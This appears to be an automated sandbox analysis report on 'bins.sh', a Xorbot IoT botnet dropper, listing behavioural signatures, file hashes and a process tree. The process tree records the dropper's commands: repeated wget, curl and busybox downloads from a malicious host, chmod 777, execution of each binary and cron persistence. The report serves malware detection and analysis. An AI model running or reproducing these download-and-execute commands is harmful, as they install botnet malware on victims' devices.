Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    24/01/2025, 14:43

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250124-r3jsvsvmfj
  • SHA256 a4cdd3b7ac2290336bd5a1fdadafa9f027d4fdb30ae8fe70dbf3a75f7ee732fd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2133) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:730
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:733
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:734
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:754
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:762
      • /bin/chmod
        chmod 777 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • File and Directory Permissions Modification
        PID:763
      • /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        ./36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:764
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:766
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:767
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:768
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:769
            • /bin/rm
              rm 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                2⤵
                • System Network Configuration Discovery
                PID:774
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                2⤵
                • System Network Configuration Discovery
                PID:775
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:776
              • /bin/chmod
                chmod 777 xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                2⤵
                • File and Directory Permissions Modification
                PID:861
              • /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                ./xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                2⤵
                  PID:862
                • /bin/rm
                  rm xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                  2⤵
                    PID:864
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    2⤵
                    • System Network Configuration Discovery
                    PID:865
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    2⤵
                    • System Network Configuration Discovery
                    PID:866
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:867
                  • /bin/chmod
                    chmod 777 dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    2⤵
                    • File and Directory Permissions Modification
                    PID:871
                  • /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    ./dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                    2⤵
                      PID:873
                    • /bin/rm
                      rm dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                      2⤵
                        PID:876
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                        • System Network Configuration Discovery
                        PID:877
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                        • System Network Configuration Discovery
                        PID:880
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:883
                      • /bin/chmod
                        chmod 777 3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                        • File and Directory Permissions Modification
                        PID:892
                      • /tmp/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        ./3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                        2⤵
                          PID:894
                        • /bin/rm
                          rm 3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                          2⤵
                            PID:899
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                            2⤵
                            • System Network Configuration Discovery
                            PID:900

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                              • Path /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                              • Path /tmp/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                              • Path /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                              • Path /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                              • Size 111KB
                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.Lz9hAh
                              • Path /var/spool/cron/crontabs/tmp.Lz9hAh
                              • Size 210B
                              • SHA256 b7a5a079e9d05aad2d83138117d81b59b5e94603f5b2c142373eeab6246466a8
                              • MD5 SHA1 SHA512
                              Submit Download